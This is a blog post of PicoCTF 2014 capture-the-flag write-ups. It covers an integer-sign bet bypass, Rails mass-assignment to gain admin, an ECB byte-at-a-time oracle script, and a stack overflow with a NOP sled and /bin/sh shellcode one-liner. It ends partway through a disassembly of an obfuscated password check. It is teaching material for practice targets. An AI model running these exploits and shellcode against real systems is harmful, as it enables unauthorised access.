staring into /dev/null

barrebas

PicoCTF Write-Ups

We managed to grab all of PicoCTF the flags and we ended with a 6105 point total score! Here are writeups of bitpuzzle, crudecrypt, low_entropy, makeaface, massive_fail, netsino, nevernote, no_overflow, obfuscation and web-interception. Lots of binary exploitation, reverse engineering and even some crypto!

Netsino (120 points)

Daedalus seems to have ties to a shady online gambling boss. Maybe if you beat him at his own game, you can persuade him to share some useful info. The server is running on vuln2014.picoctf.com:4547 and the source code can be found here.

We are presented with an online gambling program. You randomly get some cash and have to gamble against the boss. The following code takes your betsize:

1
2
3
4
5
6
7
8
9
10
11
long getbet() {
    while(1) {
        printf("You've got $%lu. How much you wanna bet on this next toss?\n", player_cash);
        long bet = getnum();
        if(bet <= player_cash) {
            return bet;
        } else {
            puts("Yerr can't bet more than ya got!");
        }
    }
}

The object is to win all the boss’ money, so he’ll give you the flag. Unfortunately, the program is coded pretty securely. Furthermore, the odds of winning aren’t favorable. Luckily for us, the program makes a mistake when reading in the betsize. If we supply a large enough value, then the number being read will be negative. The program does not check for this. So let’s supply 0xf0000000, which is 4026531840. For the c program, however, it will be a negative number. Thus, the betsize check will pass, because -268435445 is less than your total amount. Next, all we have to do is lose:

1
2
3
4
5
6
7
8
9
10
11
void play(long choice, long bet, int x, int y) {
    switch(choice) {
      //...snip...
        case 5: if(x == 1 && y == 1) {
                player_cash += 36*bet;
                boss_cash -= 36*bet;
                puts(wins[rand()%3+7]);
            } else {
                puts(loses[rand()%3+7]);
            }
            break;

By betting on snake-eyes (a very slim chance of that happening), the program will subtract the betsize times 36 from our cash and add that same amount to the boss’ money. However, we supplied a very large negative number for the betsize, meaning that we actually get money and the boss loses money. Rinse & repeat this a couple of times to get the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
bas@tritonal:~$ nc vuln2014.picoctf.com 4547
Arr, git ye into me casio, the hottest gamblin' sensation on the net!
Here, have a fiver, and let's gamble!
You've got $5. How much you wanna bet on this next toss?
> 4026531840
1: EVEN. Win your bet back plus an additional $4026531840 if the dice sum even.
2: ODDS. Win your bet back plus an additional $3489660928 if both dice roll odd.
3: HIGH. Win your bet back plus an additional $2952790016 if the dice sum to 10 or more.
4: FOUR. Win your bet back plus an additional $2147483648 if the dice sum to four.
5: EYES. Win your bet back plus an additional $3489660928 on snake eyes.
What'll it be?
> 5
Lets rock 'n' roll!
5 3
Snake eyes! ...not.
You've got $268435461. How much you wanna bet on this next toss?
> 4026531840
1: EVEN. Win your bet back plus an additional $4026531840 if the dice sum even.
2: ODDS. Win your bet back plus an additional $3489660928 if both dice roll odd.
3: HIGH. Win your bet back plus an additional $2952790016 if the dice sum to 10 or more.
4: FOUR. Win your bet back plus an additional $2147483648 if the dice sum to four.
5: EYES. Win your bet back plus an additional $3489660928 on snake eyes.
What'll it be?
> 5
Lets rock 'n' roll!
5 4
You seem to enjoy loosing.
You've got $536870917. How much you wanna bet on this next toss?
> 4026531840
1: EVEN. Win your bet back plus an additional $4026531840 if the dice sum even.
2: ODDS. Win your bet back plus an additional $3489660928 if both dice roll odd.
3: HIGH. Win your bet back plus an additional $2952790016 if the dice sum to 10 or more.
4: FOUR. Win your bet back plus an additional $2147483648 if the dice sum to four.
5: EYES. Win your bet back plus an additional $3489660928 on snake eyes.
What'll it be?
> 5
Lets rock 'n' roll!
2 1
Snake eyes! ...not.
You've got $805306373. How much you wanna bet on this next toss?
> 4026531840
1: EVEN. Win your bet back plus an additional $4026531840 if the dice sum even.
2: ODDS. Win your bet back plus an additional $3489660928 if both dice roll odd.
3: HIGH. Win your bet back plus an additional $2952790016 if the dice sum to 10 or more.
4: FOUR. Win your bet back plus an additional $2147483648 if the dice sum to four.
5: EYES. Win your bet back plus an additional $3489660928 on snake eyes.
What'll it be?
> 5
Lets rock 'n' roll!
4 3
Like that was ever gonna happen.
Great, I'm fresh outta cash. Take this flag instead.
i_wish_real_casinos_had_this_bug
Git outta here.

Massive Fail (120 points)

Fed up with their recent PHP related issues, Daedalus Corp. has switched their website to run on Ruby on Rails (version 3.1.0) instead. Their brand new registration page does not seem like much of an improvement though... [Source].

We’re given the source to a Ruby on Rails website. We need to register as an admin to get the flag. The interesting bit is in db/schema.rb and app/controller/user_controller.rb.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ActiveRecord::Schema.define(:version => 20141008175655) do

  create_table "users", :force => true do |t|
    t.string   "username"
    t.string   "password"
    t.string   "name"
    t.boolean  "is_admin"
    t.datetime "created_at"
    t.datetime "updated_at"
  end

end

class UserController < ApplicationController
  def register
  end

  def create
    # User.new creates a new user according to ALL the parameters
    @new_user = User.new(params[:user])
    @new_user.save
  end
end

The application registers the user using ALL supplied parameters. So let’s supply a few more, shall we? Download the registration page and “tweak” it a bit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<form accept-charset="UTF-8" action="http://web2014.picoctf.com:5000/user/create" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="+yYhUookKb5lZuf2bU97ccd3TWYizvaxFYpWfR5H/b8=" /></div>
  <div class="control-group">
    <label class="control-label" for="user_name">Name</label>:
    <div class="controls">
      <input id="user_name" name="user[name]" size="30" type="text" />
    </div>
  </div>

  <div class="control-group">
    <label class="control-label" for="user_username">Username</label>:
    <div class="controls">
      <input id="user_username" name="user[username]" size="30" type="text" />
    </div>
  </div>

  <div class="control-group">
    <label class="control-label" for="user_password">Password</label>:
    <div class="controls">
      <input id="user_password" name="user[password]" size="30" type="password" />
    </div>
  </div>
    <div class="control-group">
    <label class="control-label" for="user_is_admin">is_admin</label>:
    <div class="controls">
      <input id="user_password" name="user[is_admin]" size="30" type="text" value="1" />
    </div>
  </div>

By adding the user[is_admin] parameter, the register page thinks we are admin and gives us the flag:

Web Interception (140 points)

We were able to get some code running in a Daedalus browser. Unfortunately we can't quite get it to send us a cookie for its internal login page ourselves... But we can make it make requests that we can see, and it seems to be encrypting using ECB mode. See here for more details about what we can get. It's running at vuln2014.picoctf.com:65414. Can you get us the cookie?

Swappage and me solved this one. The program does the following:

1
2
3
4
5
6
def oracle(s):
  # so, this is simulated. In reality we'd have to run javascript on a target web browser
  # and capture the traffic. That's pretty hard to do in a way that scales, though, so we
  # simulate it instead.
  # This uses ECB mode.
  return AESCipher(key).encrypt(pkcs7_pad('GET /' + s.decode('hex') + secret_data))

It takes user-supplied hex-encoded data and then returns an encrypted ciphertext in ECB mode. We need to find secret_data. The trick here is that ECB mode will return identical ciphertexts for identical plaintexts. Furthermore, it is a block-mode encryption. This means that we can create a block, have it encrypted, and check if it is present in the returned ciphertext. If so, our block must have matched part of the secret_data. In terms of blocks, we do the following:

1
2
3
4
5
[ GET /aaaaaaaaaaa                  ] # block one, padded to 16 bytes
[ guess_byte + pkcs7_padding        ] # block two, our guess
[ bogus bytes + part of secret_data ] # block three, part of secret_data
[ ...secret_data...                 ] # block four, more secret_data
[ one byte of secret_data + padding ] # block five, we are interested in the ciphertext of this block!

So if the ciphertext of our block two matches that of block five, we know that our guess was ok! We then prepend another byte to our guessed block. We add more padding to block three so that now, not one but two bytes of the secret_data are pushed onto block five. We repeat our guess for all possible characters and check the ciphertexts of block two and five. If they match, we have a bingo!

Long story short, here’s the script to bruteforce secret_data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/python

from socket import *
import string, time

def pkcs7_pad(s):
  l = len(s)
  needed = 16 - (l % 16)
  return s + (chr(needed) * needed)

def make_payload(guess):  
  payload = ""
  # pad string to next block
  payload += "a"*11 
  
  # insert guessed bytes, but first pad them
  block = ""
  block += guess
  block = pkcs7_pad(block)
  
  # add guessed bytes + padding
  payload += block               

  # push last bytes into a new ciphertext block. The +1 was empirically determined!
  payload += "a"*(len(guess)+1)   
  
  return payload
  
bruteforce = ""
# think the length of the plaintext is 48 bytes (3 16-byte blocks)
while len(bruteforce) < 48:
  
  # we'll brute-force the entire ascii range
  for in in range(0, 127)
      z = chr(i)
      
      # display progress
      print "[+] trying {}".format(i)
      
      # connect to server
      s=socket(AF_INET, SOCK_STREAM)
      s.connect(('vuln2014.picoctf.com', 65414))

      # banner
      time.sleep(0.05)
      s.recv(256)

      # we bruteforce backwards, starting at the last byte
      payload = make_payload(z+bruteforce)
      
      # send payload
      s.send( payload.encode('hex') )

      ciphertext = s.recv(1024)
  
      # split ciphertext into 32 bytes (which are 16 bytes hex-encoded).
      # we need to look for a duplicate block. if we find a duplicate,
      # it means our guessed bytes match the end of the string.
      blocks = [ciphertext[i:i+32] for i in range(0, len(ciphertext), 32)]

      # check if we have the same encoded block as the guess
      # the guessed block is the second returned block, due to the 
      # way the payload is built up. 
      if blocks[1] in blocks[2:]:
          print "match: {}".format(blocks[1])
          bruteforce = z + bruteforce
          print "[+] got {} so far".format(bruteforce)
      s.close()

The flag is congrats_on_your_first_ecb_ecryption\r\n.

No Overflow (140 points)

This program tries to prevent buffer overflows by first asking for the input length.

1
2
3
4
5
6
bas@tritonal:~/tmp/picoctf$ ./no_overflow
How long is your name?
10
What is your name?
BBBBBBBBBBBBBBBBBBBBBBBBBB
Hello, BBBBBBBBBBW

It disregards the rest of the ouput. However, the program uses scanf. If we supply -1 as the length, we can bypass the overflow check:

1
2
3
4
5
bas@tritonal:~/tmp/picoctf$ (echo -1; python -c 'print "A"*300') | ./no_overflow
How long is your name?
What is your name?
Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...snip...
Segmentation fault

From here, it is easy to control EIP:

1
2
3
4
5
6
7
8
9
10
bas@tritonal:~/tmp/picoctf$ (echo -1; python -c 'print "A"*268+"BBBB"'; echo) | ./no_overflow
How long is your name?
What is your name?
Hello, AAAAAAAAAA...snip...
Segmentation fault (core dumped)
bas@tritonal:~/tmp/picoctf$ gdb no_overflow core
...snip...
Core was generated by `./no_overflow'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()

Quickly checking on the remote server if there is any protection on the binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pico1139@shell:/home/no_overflow$ readelf -l no_overflow

Elf file type is EXEC (Executable file)
Entry point 0x8048430
There are 9 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x0080c 0x0080c R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x0012c 0x00130 RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x0006e0 0x080486e0 0x080486e0 0x0003c 0x0003c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

The stack is executable! Furthermore, ASLR is not enabled. This makes it easy to stick in a shellcode plus a NOP sled and return to an address on the stack:

1
2
3
4
5
6
7
8
9
pico1139@shell:/home/no_overflow$ (echo -1; python -c 'print "A"*268+"\xd0\xd6\xff\xff"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'; cat) | ./no_overflow
How long is your name?
What is your name?
Hello, AAAAAAAAAAAAAAAAAAAAAA...snip...

id
uid=11066(pico1139) gid=1007(no_overflow) groups=1017(picogroup)
cat flag.txt
what_is_your_sign

Obfuscation (150 points)

Tough one. There are some anti-disassembler tricks in here. Upon running the program, it asks for a password. Let’s first try to get a breakpoint somewhere:

1
2
3
4
5
6
7
8
9
10
gdb-peda$ b main
Function "main" not defined.
gdb-peda$ b __libc_start_main
Breakpoint 1 at 0x8048400
gdb-peda$ r
...
Breakpoint 1, 0xf7e2c970 in __libc_start_main ()
   from /lib/i386-linux-gnu/i686/cmov/libc.so.6
gdb-peda$ x/2x $esp
0xffffd58c:   0x080484ed  0x08048420

Our entry-point is 0x08048420. Set a breakpoint and continue tracing. We encounter an anti-disassembly trick:

1
2
3
4
5
6
7
8
9
=> 0x804843a:  jmp    0x804843b
 | 0x804843c:  ror    BYTE PTR [eax-0x39],0x44
 | 0x8048440:  and    al,0x4
 | 0x8048442:  push   esp
 | 0x8048443:  lea    eax,[eax+ecx*1]
 |->   0x804843b:   inc    eax
       0x804843d: dec    eax
       0x804843e: mov    DWORD PTR [esp+0x4],0x8048d54
       0x8048446: mov    DWORD PTR [esp],0x1

It jumps one byte ahead, in the middle of the instruction, causing the disassembly of the next bytes to be incorrect. Luckily, this won’t stop gdb-peda. Soon after, the program asks for a password:

1
2
3
4
5
6
7
8
=> 0x804846a:  call   0x80483c0 <getline@plt>
   0x804846f: test   eax,eax

...

0x0804846a in ?? ()
gdb-peda$ b *0x804846f
Breakpoint 2 at 0x804846f

I entered 012345678 and pressed enter. The program transfers control to the function at 0x8048580 which supposedly checks our password. Set a breakpoint and continue. The programs then takes a single byte from the password and does some checks:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
   0x80485b6:    movzx  ebp,BYTE PTR [ebx+edx*1] # grab char
   0x80485ba: mov    eax,ebp
   0x80485bc: movsx  ecx,al
   0x80485bf: add    ecx,0x40
   0x80485c2: mov    edi,ecx
   0x80485c4: sar    edi,0x1f                 # no idea what this 
   0x80485c7: shr    edi,0x19                 # is supposed to do.
   0x80485ca: add    ecx,edi
   0x80485cc: and    ecx,0x7f                 # check for ASCII?
   0x80485cf: sub    ecx,edi
   0x80485d1: mov    BYTE PTR [esp+ecx*1+0xc],0x1
   0x80485d6: lea    ecx,[ebp-0xa]            # subtract 0xa from char
   0x80485d9: cmp    cl,0x70                  # check for below 'z'
   0x80485dc: jbe    0x8048600

And then jumps to 0x8048600. This piece is interesting, because it uses a jump-table (like in a switch statement). Depending on the value of (char - 0xa), it jumps to a code region:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
=> 0x8048600:  movzx  ecx,cl
   0x8048603: jmp    DWORD PTR [ecx*4+0x8048b90]

gdb-peda$ x/400x 0x8048b90
0x8048b90:    0x08048610  0x080485de  0x080485de  0x080485de
0x8048ba0:    0x080485de  0x080485de  0x080485de  0x080485de
0x8048bb0:    0x080485de  0x080485de  0x080485de  0x080485de
0x8048bc0:    0x080485de  0x080485de  0x080485de  0x080485de
0x8048bd0:    0x080485de  0x080485de  0x080485de  0x080485de
0x8048be0:    0x080485de  0x080485de  0x080485de  0x080485de
0x8048bf0:    0x080485de  0x080485de  0x080485de  0x080485de
0x8048c00:    0x080485de  0x080485de  0x080485de  0x080485de
0x8048c10:    0x080485de  0x080485de  0x080485de  0x080485de
0x8048c20:    0x080485de  0x080485de  0x08048628  0x08048640
0x8048c30:    0x08048658  0x08048678  0x08048698  0x080486c0
0x8048c40:    0x080486e0  0x08048708  0x08048730  0x08048758
0x8048c50:    0x080485de  0x080485de  0x080485de  0x080485de
0x8048c60:    0x080485de  0x080485de  0x080485de  0x080485de
0x8048c70:    0x080485de  0x080485de  0x080485de  0x080485de
0x8048c80:    0x080485de  0x080485de  0x080485de  0x080485de
0x8048c90:    0x080485de  0x080485de  0x080485de  0x080485de
0x8048ca0:    0x080485de  0x080485de  0x080485de  0x080485de
0x8048cb0:    0x080485de  0x080485de  0x080485de  0x080485de
0x8048cc0:    0x080485de  0x080485de  0x080485de  0x080485de
0x8048cd0:    0x080485de  0x080485de  0x080485de  0x080485de
0x8048ce0:    0x080485de  0x080485de  0x080485de  0x08048780
0x8048cf0:    0x080487a0  0x080487c0  0x080487e0  0x08048800
0x8048d00:    0x08048820  0x08048840  0x08048858  0x08048878
0x8048d10:    0x08048898  0x080488b8  0x080488d0  0x080488f0
0x8048d20:    0x08048910  0x08048928  0x08048950  0x08048970
0x8048d30:    0x08048990  0x080489b0  0x080489d0  0x080489e8
0x8048d40:    0x08048a08  0x08048a28  0x08048a48  0x08048a68
0x8048d50:    0x08048a88  0x73736150  0x64726f77  0x4300203a

There are a lot of occurences of 0x080485de:

1
2
3
4
5
6
7
8
9
10
   0x80485de:    xor    eax,eax
   0x80485e0: mov    edx,DWORD PTR [esp+0x8c]
   0x80485e7: xor    edx,DWORD PTR gs:0x14
   0x80485ee: jne    0x8048ab0
   0x80485f4: add    esp,0x9c
   0x80485fa: pop    ebx
   0x80485fb: pop    esi
   0x80485fc: pop    edi
   0x80485fd: pop    ebp
   0x80485fe: ret

Which basically means “get out of here, your password isn’t correct”. I decided to continue and see what the code did:

1
2
3
4
5
6
7
8
9
10
11
=> 0x8048603:  jmp    DWORD PTR [ecx*4+0x8048b90]
 | 0x804860a:  lea    esi,[esi+0x0]
 | 0x8048610:  cmp    edx,0xd
 | 0x8048613:  sete   dl
 | 0x8048616:  xor    eax,eax
 |->   0x8048628:   test   edx,edx
       0x804862a: jne    0x80485de
       0x804862c: cmp    BYTE PTR [esp+0x7c],0x0
       0x8048631: je     0x80485de
       0x8048633: mov    edx,0x1
       0x8048638: jmp    0x80485ab

It checks if edx is zero. If it is, it checks if some memory location is zero (it was) and then sets edx to 1. It then goes back to the code where a byte is taken from the password. Only this time, it would be the second byte! This means that I accidentally guessed the first char of the password right. The next one was not correct, as I supplied 1 which then jumps to:

1
2
3
4
5
6
7
   0x8048640:    cmp    edx,0xe
   0x8048643: jne    0x80485de
   0x8048645: cmp    BYTE PTR [esp+0x7d],0x0
   0x804864a: je     0x80485de
   0x804864c: mov    edx,0xf
   0x8048651: jmp    0x80485ab
   0x8048656: xchg   ax,ax

Because edx was not set to 0xe, the check fails and the password is incorrect. From here on, I dumped the jumptable and gave each memory location a label using a python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
0x08048610:
...snip...
0x080485de:!
0x080485de:"
0x080485de:#
0x080485de:$
0x080485de:%
0x080485de:&
0x080485de:'
0x080485de:(
0x080485de:)
0x080485de:*
0x080485de:+
0x080485de:,
0x080485de:-
0x080485de:.
0x080485de:/
0x08048628:0
0x08048640:1
0x08048658:2
0x08048678:3
0x08048698:4
0x080486c0:5
0x080486e0:6
0x08048708:7
0x08048730:8
0x08048758:9
0x080485de::
0x080485de:;
0x080485de:<
0x080485de:=
0x080485de:>
0x080485de:?
0x080485de:@
0x080485de:A
0x080485de:B
0x080485de:C
0x080485de:D
0x080485de:E
0x080485de:F
0x080485de:G
0x080485de:H
0x080485de:I
0x080485de:J
0x080485de:K
0x080485de:L
0x080485de:M
0x080485de:N
0x080485de:O
0x080485de:P
0x080485de:Q
0x080485de:R
0x080485de:S
0x080485de:T
0x080485de:U
0x080485de:V
0x080485de:W
0x080485de:X
0x080485de:Y
0x080485de:Z
0x080485de:[
0x080485de:\
0x080485de:]
0x080485de:^
0x080485de:_
0x080485de:`
0x08048780:a
0x080487a0:b
0x080487c0:c
0x080487e0:d
0x08048800:e
0x08048820:f
0x08048840:g
0x08048858:h
0x08048878:i
0x08048898:j
0x080488b8:k
0x080488d0:l
0x080488f0:m
0x08048910:n
0x08048928:o
0x08048950:p
0x08048970:q
0x08048990:r
0x080489b0:s
0x080489d0:t
0x080489e8:u
0x08048a08:v
0x08048a28:w
0x08048a48:x
0x08048a68:y
0x08048a88:z

Then I dumped all the instructions starting at 0x8048610 and labelled them:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
   // 0x0a
   0x8048610: cmp    edx,0xd  
   0x8048613: sete   dl
   0x8048616: xor    eax,eax
   0x8048618: cmp    BYTE PTR [esp+0x56],0x0
   0x804861d: setne  al
   0x8048620: and    eax,edx
   0x8048622: jmp    0x80485e0
   0x8048624: lea    esi,[esi+eiz*1+0x0]
   // 0x08048628:0
   0x8048628: test   edx,edx
   0x804862a: jne    0x80485de
   0x804862c: cmp    BYTE PTR [esp+0x7c],0x0
   0x8048631: je     0x80485de
   0x8048633: mov    edx,0x1
   0x8048638: jmp    0x80485ab
   0x804863d: lea    esi,[esi+0x0]
   // 0x08048640:1
   0x8048640: cmp    edx,0xe
   0x8048643: jne    0x80485de
   0x8048645: cmp    BYTE PTR [esp+0x7d],0x0
   0x804864a: je     0x80485de
   0x804864c: mov    edx,0xf
   0x8048651: jmp    0x80485ab
   0x8048656: xchg   ax,ax
   // 0x08048658:2
   0x8048658: cmp    edx,0x14
   0x804865b: jne    0x80485de
   0x804865d: cmp    BYTE PTR [esp+0x7e],0x0
   0x8048662: je     0x80485de
   0x8048668: mov    edx,0x15
   0x804866d: jmp    0x80485ab
   0x8048672: lea    esi,[esi+0x0]
   // 0x08048678:3
   0x8048678: cmp    edx,0x59
   0x804867b: jne    0x80485de
   0x8048681: cmp    BYTE PTR [esp+0x7f],0x0
   0x8048686: je     0x80485de
   0x804868c: mov    edx,0x5a
   0x8048691: jmp    0x80485ab
   0x8048696: xchg   ax,ax
   // 0x08048698:4
   0x8048698: cmp    edx,0xf
   0x804869b: jne    0x80485de
   0x80486a1: cmp    BYTE PTR [esp+0x80],0x0
   0x80486a9: je     0x80485de
   0x80486af: mov    edx,0x10
   0x80486b4: jmp    0x80485ab
   0x80486b9: lea    esi,[esi+eiz*1+0x0]
   // 0x080486c0:5
   0x80486c0: cmp    edx,0xe
   0x80486c3: jne    0x80485de
   0x80486c9: cmp    BYTE PTR [esp+0x81],0x0
   0x80486d1: jne    0x804864c
   0x80486d7: jmp    0x80485de
   0x80486dc: lea    esi,[esi+eiz*1+0x0]
   // 0x080486e0:6
   0x80486e0: cmp    edx,0xc
   0x80486e3: jne    0x80485de
   0x80486e9: cmp    BYTE PTR [esp+0x82],0x0
   0x80486f1: je     0x80485de
   0x80486f7: mov    edx,0xd
   0x80486fc: jmp    0x80485ab
   0x8048701: lea    esi,[esi+eiz*1+0x0]
   // 0x08048708:7
   0x8048708: cmp    edx,0x5
   0x804870b: jne    0x80485de
   0x8048711: cmp    BYTE PTR [esp+0x83],0x0
   0x8048719: je     0x80485de
   0x804871f: mov    edx,0x6
   0x8048724: jmp    0x80485ab
   0x8048729: lea    esi,[esi+eiz*1+0x0]
   // ?? 0x08048730:8
   0x8048730: xor    eax,eax
   0x8048732: cmp    BYTE PTR [esp+0x85],0x0
   0x804873a: je     0x80485e0
   0x8048740: cmp    edx,0x2
   0x8048743: sete   al
   0x8048746: cmp    edx,0x21
   0x8048749: sete   dl
   0x804874c: or     eax,edx
   0x804874e: movzx  eax,al
   0x8048751: jmp    0x80485e0
   0x8048756: xchg   ax,ax
   // 0x08048758:9
   0x8048758: cmp    edx,0x1
   0x804875b: jne    0x80485de
   0x8048761: cmp    BYTE PTR [esp+0x85],0x0
   0x8048769: je     0x80485de
   0x804876f: mov    edx,0x2
   0x8048774: jmp    0x80485ab
   0x8048779: lea    esi,[esi+eiz*1+0x0]
   // 0x08048780:a
   0x8048780: cmp    edx,0x23
   0x8048783: jne    0x80485de
   0x8048789: cmp    BYTE PTR [esp+0x2d],0x0
   0x804878e: je     0x80485de
   0x8048794: mov    edx,0x24
   0x8048799: jmp    0x80485ab
   0x804879e: xchg   ax,ax
   // 0x080487a0:b
   0x80487a0: cmp    edx,0xb
   0x80487a3: jne    0x80485de
   0x80487a9: cmp    BYTE PTR [esp+0x2e],0x0
   0x80487ae: je     0x80485de
   0x80487b4: mov    edx,0xc
   0x80487b9: jmp    0x80485ab
   0x80487be: xchg   ax,ax
   0x080487c0:c
   0x80487c0: cmp    edx,0x20
   0x80487c3: jne    0x80485de
   0x80487c9: cmp    BYTE PTR [esp+0x2d],0x0
   0x80487ce: je     0x80485de
   0x80487d4: mov    edx,0x21
   0x80487d9: jmp    0x80485ab
   0x80487de: xchg   ax,ax
  // 0x080487e0:d
   0x80487e0: cmp    edx,0x3
   0x80487e3: jne    0x80485de
   0x80487e9: cmp    BYTE PTR [esp+0x30],0x0
   0x80487ee: je     0x80485de
   0x80487f4: mov    edx,0x4
   0x80487f9: jmp    0x80485ab
   0x80487fe: xchg   ax,ax
   // 0x08048800:e
   0x8048800: cmp    edx,0x7
   0x8048803: jne    0x80485de
   0x8048809: cmp    BYTE PTR [esp+0x31],0x0
   0x804880e: je     0x80485de
   0x8048814: mov    edx,0x8
   0x8048819: jmp    0x80485ab
   0x804881e: xchg   ax,ax
   // 0x08048820:f
   0x8048820: cmp    BYTE PTR [esp+0x32],0x0
   0x8048825: je     0x80485de
   0x804882b: cmp    edx,0x8
   0x804882e: jne    0x8048a9f
   0x8048834: add    edx,0x1
   0x8048837: jmp    0x80485ab
   0x804883c: lea    esi,[esi+eiz*1+0x0]
   // 0x08048840:g
   0x8048840: cmp    edx,0xc
   0x8048843: sete   dl
   0x8048846: xor    eax,eax
   0x8048848: cmp    BYTE PTR [esp+0x40],0x0
   0x804884d: setne  al
   0x8048850: and    eax,edx
   0x8048852: jmp    0x80485e0
   0x8048857: nop
   // 0x08048858:h
   0x8048858: cmp    edx,0xd
   0x804885b: jne    0x80485de
   0x8048861: cmp    BYTE PTR [esp+0x33],0x0
   0x8048866: je     0x80485de
   0x804886c: mov    edx,0xe
   0x8048871: jmp    0x80485ab
   0x8048876: xchg   ax,ax
   // 0x08048878:i
   0x8048878: cmp    edx,0x9
   0x804887b: jne    0x80485de
   0x8048881: cmp    BYTE PTR [esp+0x35],0x0
   0x8048886: je     0x80485de
   0x804888c: mov    edx,0xa
   0x8048891: jmp    0x80485ab
   0x8048896: xchg   ax,ax
   // 0x08048898:j
   0x8048898: cmp    edx,0xa
   0x804889b: jne    0x80485de
   0x80488a1: cmp    BYTE PTR [esp+0x36],0x0
   0x80488a6: je     0x80485de
   0x80488ac: mov    edx,0xb
   0x80488b1: jmp    0x80485ab
   0x80488b6: xchg   ax,ax
   // 0x080488b8:k
   0x80488b8: cmp    edx,0xc
   0x80488bb: sete   dl
   0x80488be: xor    eax,eax
   0x80488c0: cmp    BYTE PTR [esp+0x37],0x0
   0x80488c5: setne  al
   0x80488c8: and    eax,edx
   0x80488ca: jmp    0x80485e0    <- terminate, compares eax to 1. If it is, the string is correct! Flag = 09vdf7wefijbkh
   0x80488cf: nop
   // 0x080488d0:l
   0x80488d0: cmp    edx,0x13
   0x80488d3: jne    0x80485de
   0x80488d9: cmp    BYTE PTR [esp+0x38],0x0
   0x80488de: je     0x80485de
   0x80488e4: mov    edx,0x14
   0x80488e9: jmp    0x80485ab
   0x80488ee: xchg   ax,ax
   // 0x080488f0:m
   0x80488f0: cmp    edx,0x11
   0x80488f3: jne    0x80485de
   0x80488f9: cmp    BYTE PTR [esp+0x39],0x0
   0x80488fe: je     0x80485de
   0x8048904: mov    edx,0x12
   0x8048909: jmp    0x80485ab
   0x804890e: xchg   ax,ax
   // 0x08048910:n
   0x8048910: cmp    edx,0x12
   0x8048913: sete   dl
   0x8048916: xor    eax,eax
   0x8048918: cmp    BYTE PTR [esp+0x39],0x0
   0x804891d: setne  al
   0x8048920: and    eax,edx
   0x8048922: jmp    0x80485e0
   0x8048927: nop
   // 0x08048928:o
   0x8048928: cmp    BYTE PTR [esp+0x3a],0x0
   0x804892d: je     0x80485de
   0x8048933: cmp    edx,0x6
   0x8048936: je     0x8048834
   0x804893c: cmp    edx,0x1c
   0x804893f: je     0x8048834
   0x8048945: jmp    0x80485de
   0x804894a: lea    esi,[esi+0x0]
   // 0x08048950:p
   0x8048950: cmp    edx,0x1e
   0x8048953: jne    0x80485de
   0x8048959: cmp    BYTE PTR [esp+0x3c],0x0
   0x804895e: xchg   ax,ax
   0x8048960: je     0x80485de
   0x8048966: mov    edx,0x1f
   0x804896b: jmp    0x80485ab
